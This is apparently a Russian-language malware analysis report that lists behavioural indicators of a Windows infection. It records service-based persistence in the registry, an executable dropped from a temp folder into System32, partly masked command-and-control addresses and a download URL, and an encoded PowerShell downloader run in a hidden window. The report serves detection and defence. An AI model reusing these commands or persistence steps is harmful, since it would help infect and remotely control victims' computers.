Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\wfapigp] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\wfapigp] 'ImagePath' = '"<SYSTEM32>\mdminst\wfapigp.exe"'
- 'wfapigp' "<SYSTEM32>\mdminst\wfapigp.exe"
- 'wfapigp' <SYSTEM32>\mdminst\wfapigp.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABLADkANABwAGwAcgBqAD0AKAAnAEQAJwArACgAJwBtAG8AMAAnACsAJwBiAHIANAAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEUATgBWADoAVABlAG0AcABcAHcAbwBSAGQAXAAyADAAMQA5AFwAIAAtAG...
- %TEMP%\word\2019\e0kb0j.exe
- <SYSTEM32>\mdminst\wfapigp.exe
- %TEMP%\word\2019\e0kb0j.exe в <SYSTEM32>\mdminst\wfapigp.exe
- '88.##9.181.198':443
- http://za###life.com/wp-includes/P2Anjqkwlc4858/
- http://88.###.181.198:443/rAFtDh0ZZ87ropf/Gy8ANnmL5v3LYg/ via 88.##9.181.198
- DNS ASK za###life.com
- '%TEMP%\word\2019\e0kb0j.exe'
- '<SYSTEM32>\mdminst\wfapigp.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABLADkANABwAGwAcgBqAD0AKAAnAEQAJwArACgAJwBtAG8AMAAnACsAJwBiAHIANAAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEUATgBWADoAVABlAG0AcABcAHcAbwBSAGQAXAAyADAAMQA5AFwAIAAtAG...' (со скрытым окном)